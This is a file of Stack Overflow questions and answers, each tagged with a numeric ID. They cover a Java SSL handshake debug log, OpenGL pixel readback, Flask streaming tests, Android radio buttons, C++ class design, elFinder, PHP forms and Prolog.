40175236	0	SSL not working between Linux and Windows <p>I have gone through loads of material present on internet for SSL. I followed the steps and created self signed certificate on server (linux) using keytool. Server keystore was already having an entry as ( CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown), my new certificate was second entry as ( CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server ). Then I exported the certificate(.cer) using keytool and copied same on my client(windows). I then imported server generated certificate to client trustore. Now when I try to communicate using SSL it fails everytime. I turned on SSL debug on client. Below is the log</p> <pre><code>adding as trusted cert: Subject: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Issuer: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Algorithm: RSA; Serial number: 0x3bd2165e Valid from Fri Oct 21 13:08:11 IST 2016 until Thu Jan 19 13:08:11 IST 2017 adding as trusted cert: Subject: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Issuer: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Algorithm: RSA; Serial number: 0x46dac56d Valid from Fri Oct 21 13:20:47 IST 2016 until Thu Jan 19 13:20:47 IST 2017 *** found key for : Client chain [0] = [ [ Version: V3 Subject: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 19643942881710234591525118408612815215632338692166465250629734200981703093763200559775845583913404371567241804832487728799610532434766533695993759141114319525441958126364976642955560446067359829730544145500409447935888670367709958247941184557182316292540918805424085096889405623367353240389104083404287642633808982388623942568195322780929142023222276129235672938020453213230922184807911898395818264624343113898437136096266829934433793735074739359988881755805184514603338282021635155460130597302085016075305135792447640646817495498043975883348791446660517781531653507565586938242488813328480016900010365926159926261191 public exponent: 65537 Validity: [From: Fri Oct 21 13:20:47 IST 2016, To: Thu Jan 19 13:20:47 IST 2017] Issuer: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client SerialNumber: [ 46dac56d] Certificate Extensions: 1 [1]: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: 72 B5 E3 14 98 BD 53 F3 69 33 96 A5 71 F5 99 2B r.....S.i3..q..+ 0010: 22 0F B9 F6 "... ] ] ] Algorithm: [SHA1withRSA] Signature: 0000: 21 16 B3 C9 5D BC EB 71 35 78 95 8E BF 30 72 AC !...]..q5x...0r. 0010: D1 42 AA B7 C1 8B 23 FD 67 DF 6F 36 85 E8 C6 05 .B....#.g.o6.... 0020: A4 7B E7 A5 B5 3A FC 0C 88 29 3D C3 CD C2 88 8D .....:...)=..... 0030: 86 3A BF 14 85 93 01 75 5E 6E 01 87 44 A9 0A 21 .:.....u^n..D..! 0040: A2 F0 C3 05 9C 40 7B 89 61 DB 84 28 73 89 0F 3A .....@..a..(s..: 0050: B7 96 E8 63 30 29 8A B5 11 4C D2 7E A8 17 6F 0F ...c0)...L....o. 0060: 4E C7 4A AD E0 A8 6E 68 CE 72 FE DD DE F7 1C 84 N.J...nh.r...... 0070: 20 C9 C4 CA F1 6A 3B C0 F9 A8 DD 03 0B EF 04 03 ....j;......... 0080: 40 BA 37 F6 B6 9C BE FF A9 E6 0E BF E6 32 B8 B3 @.7..........2.. 0090: 0A EB 0F F7 EA 23 93 D1 17 D7 6E 94 0C 98 4C 90 .....#....n...L. 00A0: 40 21 DE 39 09 A9 16 2A 97 DD 2D E5 C0 FC FE 2E @!.9...*..-..... 00B0: AE 36 0C 04 6D A8 8F 1D B8 2B 99 54 7C AD 4F 8C .6..m....+.T..O. 00C0: 01 9C C2 07 77 81 A7 6C 07 2D A3 75 1D 4E E4 16 ....w..l.-.u.N.. 00D0: 7E D0 BD E4 79 0F B6 9C C8 62 2E D6 E1 AC 35 58 ....y....b....5X 00E0: 22 B2 8C 4B FE 9A 06 C4 53 C1 8F 45 EA 61 3A 7F "..K....S..E.a:. 00F0: 3C D1 15 0D A8 27 3E 0F AB F5 8F DA 78 05 5F AE &lt;....'&gt;.....x._. ] *** trigger seeding of SecureRandom done seeding SecureRandom keyStore is : D:\\Development\\Workspace\\Eclipse\\testSSL\\Sample\\.keystore keyStore type is : jks keyStore provider is : init keystore init keymanager of type SunX509 *** found key for : Client chain [0] = [ [ Version: V3 Subject: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 19643942881710234591525118408612815215632338692166465250629734200981703093763200559775845583913404371567241804832487728799610532434766533695993759141114319525441958126364976642955560446067359829730544145500409447935888670367709958247941184557182316292540918805424085096889405623367353240389104083404287642633808982388623942568195322780929142023222276129235672938020453213230922184807911898395818264624343113898437136096266829934433793735074739359988881755805184514603338282021635155460130597302085016075305135792447640646817495498043975883348791446660517781531653507565586938242488813328480016900010365926159926261191 public exponent: 65537 Validity: [From: Fri Oct 21 13:20:47 IST 2016, To: Thu Jan 19 13:20:47 IST 2017] Issuer: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client SerialNumber: [ 46dac56d] Certificate Extensions: 1 [1]: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: 72 B5 E3 14 98 BD 53 F3 69 33 96 A5 71 F5 99 2B r.....S.i3..q..+ 0010: 22 0F B9 F6 "... ] ] ] Algorithm: [SHA1withRSA] Signature: 0000: 21 16 B3 C9 5D BC EB 71 35 78 95 8E BF 30 72 AC !...]..q5x...0r. 0010: D1 42 AA B7 C1 8B 23 FD 67 DF 6F 36 85 E8 C6 05 .B....#.g.o6.... 0020: A4 7B E7 A5 B5 3A FC 0C 88 29 3D C3 CD C2 88 8D .....:...)=..... 0030: 86 3A BF 14 85 93 01 75 5E 6E 01 87 44 A9 0A 21 .:.....u^n..D..! 0040: A2 F0 C3 05 9C 40 7B 89 61 DB 84 28 73 89 0F 3A .....@..a..(s..: 0050: B7 96 E8 63 30 29 8A B5 11 4C D2 7E A8 17 6F 0F ...c0)...L....o. 0060: 4E C7 4A AD E0 A8 6E 68 CE 72 FE DD DE F7 1C 84 N.J...nh.r...... 0070: 20 C9 C4 CA F1 6A 3B C0 F9 A8 DD 03 0B EF 04 03 ....j;......... 0080: 40 BA 37 F6 B6 9C BE FF A9 E6 0E BF E6 32 B8 B3 @.7..........2.. 0090: 0A EB 0F F7 EA 23 93 D1 17 D7 6E 94 0C 98 4C 90 .....#....n...L. 00A0: 40 21 DE 39 09 A9 16 2A 97 DD 2D E5 C0 FC FE 2E @!.9...*..-..... 00B0: AE 36 0C 04 6D A8 8F 1D B8 2B 99 54 7C AD 4F 8C .6..m....+.T..O. 00C0: 01 9C C2 07 77 81 A7 6C 07 2D A3 75 1D 4E E4 16 ....w..l.-.u.N.. 00D0: 7E D0 BD E4 79 0F B6 9C C8 62 2E D6 E1 AC 35 58 ....y....b....5X 00E0: 22 B2 8C 4B FE 9A 06 C4 53 C1 8F 45 EA 61 3A 7F "..K....S..E.a:. 00F0: 3C D1 15 0D A8 27 3E 0F AB F5 8F DA 78 05 5F AE &lt;....'&gt;.....x._. ] *** trustStore is: D:\Development\Workspace\Eclipse\testSSL\Sample\.keystore trustStore type is : jks trustStore provider is : init truststore adding as trusted cert: Subject: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Issuer: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Algorithm: RSA; Serial number: 0x3bd2165e Valid from Fri Oct 21 13:08:11 IST 2016 until Thu Jan 19 13:08:11 IST 2017 adding as trusted cert: Subject: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Issuer: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Algorithm: RSA; Serial number: 0x46dac56d Valid from Fri Oct 21 13:20:47 IST 2016 until Thu Jan 19 13:20:47 IST 2017 trigger seeding of SecureRandom done seeding SecureRandom Ignoring unsupported cipher suite: TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 Ignoring unsupported cipher suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 Ignoring unavailable cipher suite: TLS_RSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 Ignoring unsupported cipher suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 Ignoring unavailable cipher suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_RSA_WITH_AES_256_CBC_SHA256 Ignoring unsupported cipher suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 Ignoring unavailable cipher suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 Ignoring unsupported cipher suite: TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_RSA_WITH_AES_128_CBC_SHA256 Ignoring unsupported cipher suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 Ignoring unsupported cipher suite: TLS_RSA_WITH_AES_128_GCM_SHA256 Ignoring unsupported cipher suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 Ignoring unsupported cipher suite: TLS_RSA_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 Ignoring unsupported cipher suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 Ignoring unsupported cipher suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 Ignoring unsupported cipher suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 Ignoring unavailable cipher suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 Ignoring unsupported cipher suite: TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 Ignoring unsupported cipher suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 Ignoring unsupported cipher suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 Ignoring unavailable cipher suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 Ignoring unsupported cipher suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 Ignoring unavailable cipher suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 Ignoring unavailable cipher suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA Ignoring unsupported cipher suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 Allow unsafe renegotiation: false Allow legacy hello messages: true Is initial handshake: true Is secure renegotiation: false main, setSoTimeout(0) called %% No cached client session *** ClientHello, TLSv1 RandomCookie: GMT: 1476980696 bytes = { 63, 74, 124, 176, 200, 133, 175, 107, 173, 166, 115, 188, 94, 103, 2, 237, 54, 77, 30, 244, 166, 94, 22, 118, 220, 68, 182, 101 } Session ID: {} Cipher Suites: [TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDH_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_DSS_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, SSL_RSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_RC4_128_SHA, SSL_RSA_WITH_RC4_128_SHA, TLS_ECDH_ECDSA_WITH_RC4_128_SHA, TLS_ECDH_RSA_WITH_RC4_128_SHA, SSL_RSA_WITH_RC4_128_MD5, TLS_EMPTY_RENEGOTIATION_INFO_SCSV] Compression Methods: { 0 } Extension elliptic_curves, curve names: {secp256r1, sect163k1, sect163r2, secp192r1, secp224r1, sect233k1, sect233r1, sect283k1, sect283r1, secp384r1, sect409k1, sect409r1, secp521r1, sect571k1, sect571r1, secp160k1, secp160r1, secp160r2, sect163r1, secp192k1, sect193r1, sect193r2, secp224k1, sect239k1, secp256k1} Extension ec_point_formats, formats: [uncompressed] *** main, WRITE: TLSv1 Handshake, length = 149 main, READ: TLSv1 Handshake, length = 893 *** ServerHello, TLSv1 RandomCookie: GMT: 1476980313 bytes = { 231, 179, 63, 173, 107, 35, 84, 125, 43, 218, 134, 171, 63, 175, 41, 97, 49, 69, 68, 114, 75, 255, 22, 5, 125, 125, 124, 228 } Session ID: {88, 9, 238, 89, 11, 220, 101, 208, 32, 106, 9, 30, 220, 143, 218, 47, 199, 2, 7, 90, 179, 24, 198, 139, 59, 34, 141, 169, 98, 186, 165, 87} Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA Compression Method: 0 Extension renegotiation_info, renegotiated_connection: &lt;empty&gt; *** %% Initialized: [Session-1, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA] ** TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA *** Certificate chain chain [0] = [ [ Version: V3 Subject: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 95112623927847376021742911976482809760928286563374389538614118188348331948203986176617263611529390313893505980510111828145989572854367203125102386298954935692697121151897799979668903275037476471253143679337867450398842776382716002256891170241471053163351903550915614869043680655531661128282766400131123099323 public exponent: 65537 Validity: [From: Wed Jan 02 01:20:42 IST 2013, To: Sat Jan 06 01:20:42 IST 2018] Issuer: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown SerialNumber: [ 50e33e12] ] Algorithm: [SHA1withRSA] Signature: 0000: 3F 48 66 AE 51 1D 5C 0C E9 0D 88 DD CD 48 84 B7 ?Hf.Q.\......H.. 0010: 9A B3 70 79 C9 43 0E 4D B1 1E 10 5B 7A EB DC 6B ..py.C.M...[z..k 0020: 9B 15 E4 9E 9C 94 39 1C E7 CF 0E 2C D0 A8 A0 1D ......9....,.... 0030: A1 A4 E4 63 A0 37 AA 98 72 31 77 56 16 31 49 B9 ...c.7..r1wV.1I. 0040: 8D BD A1 D7 53 BF 82 69 9C C7 B6 2A F0 FA A2 2D ....S..i...*...- 0050: C2 34 25 23 9C DA B6 74 D5 E0 CC 27 45 A9 8C 41 .4%#...t...'E..A 0060: 23 8B 33 A8 92 72 46 77 E0 10 E7 C6 38 9D 1D A8 #.3..rFw....8... 0070: E5 B2 B3 B5 58 99 B3 BD 1C E3 B0 39 54 F2 EB 46 ....X......9T..F ] *** CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server X.509 adding as trusted cert: Subject: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Issuer: CN=Server, OU=Server, O=Server, L=Server, ST=Server, C=Server Algorithm: RSA; Serial number: 0x3bd2165e Valid from Fri Oct 21 13:08:11 IST 2016 until Thu Jan 19 13:08:11 IST 2017 adding as trusted cert: Subject: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Issuer: CN=Client, OU=Client, O=Client, L=Client, ST=Client, C=Client Algorithm: RSA; Serial number: 0x46dac56d Valid from Fri Oct 21 13:20:47 IST 2016 until Thu Jan 19 13:20:47 IST 2017 %% Invalidated: [Session-1, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA] main, SEND TLSv1 ALERT: fatal, description = certificate_unknown main, WRITE: TLSv1 Alert, length = 2 main, called closeSocket() main, handling exception: javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target main, IOException in getSession(): javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target main, called close() main, called closeInternal(true) main, called close() main, called closeInternal(true) </code></pre> <p>When I checked logs carefully I noticed Server is sending only first certificate in chain of certificates to client i.e,. ( CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown ), my newly created certificate is not present. Am I doing something wrong? </p>
9699338	0	 <p>Hum... Norwegian is included in UTF8.</p> <p>You surely have an encoding problem. It's strange, i never face that with localisables...</p> <p>However, becareful, you have a syntax error in your english localisable : you must finish every line with <strong>;</strong></p> <pre><code>"of"="of"; </code></pre>
9482952	0	 <p>You need to make sure all of your assemblies are compiling for the correct architecture. Try changing the architecture for x86 if reinstalling the COM component doesn't work.</p>
17660504	0	GXT get value of TextArea without focus loss <p>I have a GXT 3 TextArea on which I catch copy-paste events. On this event, I would like to get the text that is inside the textarea.</p> <p><strong>Problem</strong> : the textarea still has the focus so the value is not updated. Hence, <code>getValue()</code> returns an empty string...</p> <p>I tried to call <code>getValue()</code> <code>getCurrentValue()</code> <code>flush()</code> <code>validate()</code>. </p> <p>I also tried to extend <code>TextArea</code> to have access to <code>blur()</code> method and call it before getting the value : it makes no difference.</p> <p>Any solution? (even solution with GWT components would be appreciated).</p>
33355290	0	 <p>The API and all client libraries in turn will return actual objects when they are queried for. However, when referencing an object in the API you do so with just the object's ID. </p> <p>Therefore, in your code above, <code>workspace</code> holds the actual workspace object. In order to use that in a query you must use <code>workspace: workspace.id</code>. </p> <p>You can see a working example of <code>.find_by_workspace()</code> <a href="https://github.com/Asana/ruby-asana/blob/master/examples/personal_access_token.rb" rel="nofollow">here</a>:</p> <pre><code>puts "My Workspaces:" client.workspaces.find_all.each do |workspace| puts "\t* #{workspace.name} - tags:" client.tags.find_by_workspace(workspace: workspace.id).each do |tag| puts "\t\t- #{tag.name}" end end </code></pre>
19975386	0	 <p>Threads do not work, abstain from that approach.</p> <p>Creating several threads fails, as you have noticed, because only one thread has a current OpenGL context. In principle, you <em>could</em> make the context current in each worker thread before calling <code>glReadPixels</code>, but this will require extra synchronization from your side (otherwise, a thread could be preempted in between making the context current and reading back!), and <code>(wgl|glx)MakeCurrent</code> is a terribly slow function that will seriously stall OpenGL. In the end, you'll be doing <em>more work</em> to get something much <em>slower</em>.</p> <p>There is no way to make <code>glReadPixels</code> any faster<sup>1</sup>, but you can decouple the time it takes (i.e. the readback runs asynchronously), so it does not block your application and effectively <em>appears</em> to run "faster".<br> You want to use a <a href="http://www.songho.ca/opengl/gl_pbo.html#pack">Pixel buffer object</a> for that. Be sure to get the buffer flags correct.</p> <p>Note that mapping the buffer to access its contents will <em>still</em> block if the complete contents hasn't finished transferring, so it will <em>still</em> not be any faster. To account for that, you either have to read the previous frame, or use a fence object which you can query to be sure that it's done.<br> Or, simpler but less reliable, you can insert "some other work" in between <code>glReadPixels</code> and accessing the data. This will not guarantee that the transfer has finished by the time you access the data, so it may still block. However, it <em>may</em> just work, and it will <em>likely</em> block for a shorter time (thus run "faster").</p> <p><hr /> <sup>1</sup> There are plenty of ways of making it <em>slower</em>, e.g. if you ask OpenGL to do some weird conversions or if you use wrong buffer flags. However, generally, there's no way to make it faster since its speed depends on all previous draw commands having finished before the transfer can even start, and the data being transferred over the PCIe bus (which has a fixed time overhead plus a finite bandwidth).<br> The only viable way of making readbacks "faster" is hiding this latency. It's of course still not faster, but you don't get to feel it.</p>
31219272	0	Selector in Method over riding <p>In the case of method over riding in objective c how selector knows that which method needs to call via selector?</p> <p>As we dont pass any arguments in slector section...</p> <p>Ex: in <code>tmp.m</code> file There is 2 methods with different arguments</p> <pre><code>-(void)details { } -(void)details:(NSDictionary *)result { } </code></pre> <p>And when m call another method with the use of selector as:</p> <pre><code>[mc detailstrac:[[NSUserDefaults standardUserDefaults] valueForKey:@"userID"] tracid:self.trac_id selector:@selector(details:)]; </code></pre> <p>How selector knows to call which method !</p> <p>I have checked that</p> <pre><code>-(void)details:(NSDictionary *)result { } </code></pre> <p>this method is called every time then what about </p> <pre><code>-(void)details { } </code></pre> <p><strong>this ?</strong></p>
9455032	0	 <p>You can't: floating point numbers aren't exact values, only estimations, by definition. You are supposed to get such deviations.</p>
35525200	0	My getter and setter functions for Tic Tac Toe are not working <p>Hello I am learning C++ and I need help with my programming code. I am trying to make my private char variable accessible by the local functions inside the class so that I may display it inside Int main(). Everytime I run the compiler it gives me the error ("invalid types 'char[int]'for array subscripts").Also if any one knows how to pass variables inside a class so that I may be able to have the board display the user move;That would be greatly appreciated. P.S I know that done = 0. that was just for me to test the board output.</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; using namespace std; class CheckerBoard{ public: void initBoard() { for(int y=0; y&lt;3; y++) { for(int x=0; x&lt;6; x++) { if((x%2)==0) { _board[y][x]='-'; } else { _board[y][x]= '|'; }} } } void printBoard(){ for(int y=0; y&lt;3; y++) { for(int x=0; x&lt;6; x++) { cout&lt;&lt; _board[y][x]; } cout&lt;&lt;endl; } } void setBoard(char board){ _board[3][6]=board;} char getBoard(){ return _board[3][6]; } private: char _board[3][6]; }; int main() {int done=1; int x; int y; while(done==0){ char player1Symbol; char player2Symbol; string player1Name; string player2Name; cout &lt;&lt; "Welcome to Tic Tac Toe Lite" &lt;&lt; endl; cout&lt;&lt;"What is your Name player one?"&lt;&lt;endl; cin&gt;&gt;player1Name; cout&lt;&lt;"What symbol would you like?"&lt;&lt;endl; cin&gt;&gt;player1Symbol; cout&lt;&lt;"What is your name player two?"&lt;&lt;endl; cin&gt;&gt;player2Name; cout&lt;&lt;"What symbol would you like?"&lt;&lt;endl; cin&gt;&gt;player2Symbol; cout&lt;&lt;"Ok player one pick an X coordinate"; cin&gt;&gt;x; cout&lt;&lt;"Now pick an Y coordinate"; cin&gt;&gt;y; if(x&gt;0&amp;&amp;y&gt;0){ board[y][x]=player1Symbol; } CheckerBoard checkerBoard; checkerBoard.initBoard(); checkerBoard.printBoard(); } } CheckerBoard checkerBoard; checkerBoard.initBoard(); checkerBoard.printBoard(); return 0; } </code></pre>
30950216	1	Unit testing Python Flask Stream <p>Does anybody have any experience/pointers on testing a Flask Content Streaming resource? My application uses Redis Pub/Sub, when receiving a message in a channel it streams the text 'data: {"value":42}' The implementation is following Flask docs at: <a href="http://flask.pocoo.org/docs/0.10/patterns/streaming/" rel="nofollow">docs</a> and my unit tests are done following Flask docs too. The messages to Redis pub/sub are sent by a second resource (POST).</p> <p>I'm creating a thread to listen to the stream while I POST on the main application to the resource that publishes to Redis.</p> <p>Although the connection assertions pass (I receive OK 200 and a mimetype 'text/event-stream') the data object is empty.</p> <p>My unit test is like this:</p> <pre><code>def test_04_receiving_events(self): headers = [('Content-Type', 'application/json')] data = json.dumps({"value": 42}) headers.append(('Content-Length', len(data))) def get_stream(): rv_stream = self.app.get('stream/data') rv_stream_object = json.loads(rv_stream.data) #error (empty) self.assertEqual(rv_stream.status_code, 200) self.assertEqual(rv_stream.mimetype, 'text/event-stream') self.assertEqual(rv_stream_object, "data: {'value': 42}") t.stop() threads = [] t = Thread(target=get_stream) threads.append(t) t.start() time.sleep(1) rv_post = self.app.post('/sensor', headers=headers, data=data) threads_done = False while not threads_done: threads_done = True for t in threads: if t.is_alive(): threads_done = False time.sleep(1) </code></pre> <p>The app resource is:</p> <pre><code>@app.route('/stream/data') def stream(): def generate(): pubsub = db.pubsub() pubsub.subscribe('interesting') for event in pubsub.listen(): if event['type'] == 'message': yield 'data: {"value":%s}\n\n' % event['data'] return Response(stream_with_context(generate()), direct_passthrough=True, mimetype='text/event-stream') </code></pre> <p>Any pointers or examples of how to test a Content Stream in Flask? Google seems to not help much on this one, unless I'm searching the wrong keywords.</p> <p>Thanks in advance.</p>
8338593	0	How to get the selected radio button value from five radio buttons in android? <p>I need to get the selected radio button value out of 5 radio buttons. I have done like :</p> <p><strong>Radio button values from db:</strong></p> <pre><code>op1=(RadioButton)findViewById(R.id.option1); op2=(RadioButton)findViewById(R.id.option2); op3=(RadioButton)findViewById(R.id.option3); op4=(RadioButton)findViewById(R.id.option4); op5=(RadioButton)findViewById(R.id.option5); System.out.println("after lv users "); op1.setText(listItem.getOption1()); op2.setText(listItem.getOption2()); op3.setText(listItem.getOption3()); op4.setText(listItem.getOption4()); op5.setText(listItem.getOption5()); </code></pre> <p><strong>RadioButton check action:</strong></p> <pre><code>radioGroup.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { public void onCheckedChanged(RadioGroup rg, int checkedId) { for(int i=0; i&lt;radioGroup.getChildCount(); i++) { System.out.print("radiogroup child counts"); System.out.print(radioGroup.getChildCount()); op1 = (RadioButton) radioGroup.getChildAt(i); if(op1.isSelected()== true) { System.out.println("radio i value"); System.out.print("option"+i); //String text = btn.getText(); // do something with text } } } }); </code></pre> <p>But it is not working.It is showing error as <code>NullPointerException</code> at line </p> <pre><code>op1.setText(listItem.getOption1()); </code></pre> <p>Where I went wrong?</p> <p>Help me regarding this.</p>
14904263	0	 <p><code>HasColumnType("datetime")</code> specifies the column type, not the temporary parameter types that are used in the SQL statements. You can't control those and it's not necessary. If you have a .NET <code>DateTime</code> in your application with some decimal places filled and want to store that in a <code>datetime</code> type in SQL Server the value will (and can only) be stored as a rounded value. It doesn't matter if the rounding happens on client side before the SQL is sent to the database server or if the rounding happens on the database server itself. The result will be the same: A rounded stored value with a loss of precision.</p>
24128315	0	 <p>I recommend the following:</p> <pre><code>require 'yaml' data = YAML.load_file '&lt;filename&gt;' data.sort_by{|hash| hash[:key1]} </code></pre> <p>Your file looks quite a bit like JSON data, but includes a few minor formatting differences that make using a JSON parser impossible. Thankfully the data is perfectly valid YAML, so Ruby's YAML parser can read it just fine.</p>
13537482	0	Open Elfinder 2.X from input field <p>In my CMS I used Elfinder 1.X, which was integrated into CKEditor and I could open an other instance by clicking an input as well. Now I updated Elfinder to 2.0 and the input doesn't want to work anymore. </p> <p>Here's the code I had:</p> <pre><code>function load_elfinder($id) { $('&lt;div /&gt;').elfinder({ url : 'lib/modules/elfinder/connectors/php/connector.php', lang : 'hu', dialog : { width : 900, modal : false }, editorCallback : function(url) { document.getElementById($id).value = url; } }) } </code></pre> <p>And then: $(".news_index").on('click',function(){ load_elfinder('news_index'); });</p> <p>Now this function doesn't work. With CKEditor it works perfectly. What could be the problem? </p>
38930779	0	How to create email form PHP (HTML5) <p>I'm a little bit new with with php and i just want to ask how can i make the the "Send Message" button send the inputted information on the form i created to my email.</p> <p>Here's the code:</p> <pre><code> &lt;section id="three"&gt; &lt;h2&gt;Email Me!&lt;/h2&gt; &lt;p&gt;You will receive a reply within 24-48 hours.&lt;/p&gt; &lt;div class="row"&gt; &lt;div class="8u 12u$(small)"&gt; &lt;form method="post" action="MAILTO:sample@email.com"&gt; &lt;div class="row uniform 50%"&gt; &lt;div class="6u 12u$(xsmall)"&gt;&lt;input type="text" name="name" id="name" placeholder="Name" /&gt;&lt;/div&gt; &lt;div class="6u$ 12u$(xsmall)"&gt;&lt;input type="email" name="email" id="email" placeholder="Email" /&gt;&lt;/div&gt; &lt;div class="12u$"&gt;&lt;textarea name="message" id="message" placeholder="Message" rows="4"&gt;&lt;/textarea&gt;&lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;ul class="actions"&gt; &lt;li&gt;&lt;input type="submit" value="Send Message" /&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div class="4u$ 12u$(small)"&gt; &lt;ul class="labeled-icons"&gt; &lt;li&gt; &lt;h3 class="icon fa-home"&gt;&lt;span class="label"&gt;Address&lt;/span&gt;&lt;/h3&gt; 1234 Somewhere Rd.&lt;br /&gt; Nashville, TN 00000&lt;br /&gt; United States &lt;/li&gt; &lt;li&gt; &lt;h3 class="icon fa-mobile"&gt;&lt;span class="label"&gt;Phone&lt;/span&gt;&lt;/h3&gt; 000-000-0000 &lt;/li&gt; &lt;li&gt; &lt;h3 class="icon fa-envelope-o"&gt;&lt;span class="label"&gt;Email&lt;/span&gt;&lt;/h3&gt; &lt;a href="#"&gt;hello@untitled.tld&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; </code></pre> <p>Thanks!</p>
10122569	0	 <p>Relations are defined by predicates in Prolog. There is no built-in (but you could do it for example by using term expansion) syntactic way to define predicates inside predicates in program text, and there seems little reason to do so. You can simply write separate predicates and refer to them. You <em>can</em> of course have nested terms, that is terms as subterms of other terms. </p> <p>What do you mean with</p> <pre><code>relation(CctypeInt,[0-{2,3,4}, 1-{2,3,4}, 2-{2}],Ru1),!. </code></pre> <p>? This is a clause that states something about the predicate (,)/2 , which I doubt was the intention. On the other hand, you can of course build and use a Prolog term like</p> <pre><code>relation(cctypeint,relation(ru_1,...,ru_n)) </code></pre> <p>in your programs to represent your data.</p>
